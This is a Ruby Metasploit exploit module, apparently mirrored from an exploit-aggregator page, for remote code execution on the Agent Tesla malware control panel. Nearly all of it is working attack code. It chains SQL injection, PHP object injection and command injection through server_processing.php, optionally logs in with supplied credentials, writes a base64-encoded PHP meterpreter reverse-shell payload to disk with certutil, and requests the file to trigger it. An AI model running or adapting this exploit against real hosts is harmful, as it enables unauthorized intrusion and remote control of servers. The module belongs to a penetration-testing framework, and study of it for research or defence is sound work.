Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT/MULTI/HTTP/AGENT_TESLA_PANEL_RCE
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Agent Tesla Panel Remote Code Execution',
        'Description' => %q{
          This module exploits a command injection vulnerability within the Agent Tesla control panel,
          in combination with an SQL injection vulnerability and a PHP object injection vulnerabilty, to gain
          remote code execution on affected hosts.

          Panel versions released prior to Sepetember 12, 2018 can be exploited by unauthenticated attackers to
          gain remote code execution as user running the web server. Agent Tesla panels released on or after
          this date can still be exploited however, provided that attackers have valid credentials for the
          Agent Tesla control panel.

          Note that this module presently only fully supports Windows hosts running Agent Tesla on the WAMP stack.
          Support for Linux may be added in a future update, but could not be confirmed during testing.
        },
        'Author' => [
          'Ege Balcı <ege.balci@invictuseurope.com>', # discovery and independent module
          'mekhalleh (RAMELLA Sébastien)', # Added windows targeting and authenticated RCE
          'gwillcox-r7' # Multiple edits to finish porting the exploit over to Metasploit
        ],
        'References' => [
          ['EDB', '47256'], # Original PoC and Metasploit module
          ['URL', 'https://github.com/mekhalleh/agent_tesla_panel_rce/tree/master/resources'], # Agent-Tesla WebPanel's available for download
          ['URL', 'https://www.pirates.re/agent-tesla-remote-command-execution-(fighting-the-webpanel)'], # Writeup in French on this module and its surrounding research.
          ['URL', 'https://krebsonsecurity.com/2018/10/who-is-agent-tesla/'] # Background info on Agent Tesla
        ],
        'DisclosureDate' => '2019-08-14', # Date of first PoC for this module, not aware of anything prior to this.
        'License' => MSF_LICENSE,
        'Platform' => ['php'],
        'Arch' => [ARCH_PHP],
        'Privileged' => false,
        'Targets' => [
          [
            'Automatic (PHP-Dropper)', {
              'Platform' => 'php',
              'Arch' => [ARCH_PHP],
              'Type' => :php_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp',
                'DisablePayloadHandler' => 'false'
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('PASSWORD', [false, 'The Agent Tesla CnC password to authenticate with', nil]),
      OptString.new('TARGETURI', [true, 'The URI where the Agent Tesla CnC panel is located on the target', '/WebPanel/']),
      OptString.new('USERNAME', [false, 'The Agent Tesla CnC username to authenticate with', nil])
    ])
  end

  def os_get_name
    response = parse_response(execute_command('echo $PATH'))

    ## Not linux, check Windows.
    response = parse_response(execute_command('echo %PATH%')) if response.include?('$PATH')

    os_name = ''
    if response =~ %r{^\/}
      os_name = 'linux'
    elsif response =~ /^[a-zA-Z]:\\/
      os_name = 'windows'
    end

    os_name
  end

  def parse_response(js)
    return '' unless js

    begin
      return js.get_json_document['data'][0].values.join
    rescue NoMethodError
      return ''
    end
    return ''
  end

  def execute_command(command, _opts = {})
    junk = rand(1_000)
    sql_prefix = Rex::Text.to_rand_case("#{junk} LIKE #{junk} UNION SELECT ")
    requested_payload = {
      'table' => 'passwords',
      'primary' => 'HWID',
      'clmns' => 'a:1:{i:0;a:3:{s:2:"db";s:4:"HWID";s:2:"dt";s:4:"HWID";s:9:"formatter";s:4:"exec";}}',
      'where' => Rex::Text.encode_base64("#{sql_prefix}\"#{command}\"")
    }
    cookie = auth_get_cookie

    request = {
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')
    }
    request = request.merge({ 'cookie' => cookie }) if cookie != :not_auth
    request = request.merge({
      'encode_params' => true,
      'vars_get' => requested_payload
    })

    response = send_request_cgi(request)
    return false unless response

    return response if response.body

    false
  end

  def auth_get_cookie
    if datastore['USERNAME'] && datastore['PASSWORD']
      response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'login.php'),
        'vars_post' => {
          'Username' => datastore['USERNAME'],
          'Password' => datastore['PASSWORD']
        }
      )
      return :not_auth unless response

      return response.get_cookies if response.redirect? && response.headers['location'] =~ /index.php/
    end

    :not_auth
  end

  def check
    # check for login credentials couple.
    if datastore['USERNAME'] && datastore['PASSWORD'].nil?
      fail_with(Failure::BadConfig, 'The USERNAME option is defined but PASSWORD is not, please set PASSWORD.')
    end

    if datastore['PASSWORD'] && datastore['USERNAME'].nil?
      fail_with(Failure::BadConfig, 'The PASSWORD option is defined but USERNAME is not, please set USERNAME.')
    end

    response = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')
    )

    if response
      if response.redirect? && response.headers['location'] =~ /login.php/
        unless datastore['USERNAME'] && datastore['PASSWORD']
          print_warning('Unauthenticated RCE can\'t be exploited, retry if you gain CnC credentials.')
          return Exploit::CheckCode::Unknown
        end
      end

      rand_str = Rex::Text.rand_text_alpha(8..16)
      cmd_output = parse_response(execute_command("echo #{rand_str}"))

      return Exploit::CheckCode::Vulnerable if cmd_output.include?(rand_str)
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    os = os_get_name
    unless os
      print_bad('Could not determine the targeted operating system.')
      return Msf::Exploit::Failed
    end
    print_status("Targeted operating system is: #{os}")

    file_name = '.' + Rex::Text.rand_text_alpha(10) + '.php'
    case os
    when /linux/
      fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets!")
    when /windows/
      cmd = "echo #{Rex::Text.encode_base64(payload.encoded)} > #{file_name}.b64 & certutil -decode #{file_name}.b64 #{file_name} & del #{file_name}.b64"
    end
    print_status("Sending #{datastore['PAYLOAD']} command payload")
    vprint_status("Generated command payload: #{cmd}")

    response = execute_command(cmd)
    unless response && response.code == 200 && response.body.include?('command completed successfully')
      fail_with(Failure::UnexpectedReply, 'Payload upload failed :(')
    end
    if os == 'windows'
      panel_uri = datastore['TARGETURI'].gsub('/', '\\')
      print_status("Payload uploaded as: #{file_name} to C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")
      register_file_for_cleanup("C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")
    else
      fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets! This error should never be hit!")
    end

    # Triggering payload.
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', file_name)
    }, 2.5)
  end
end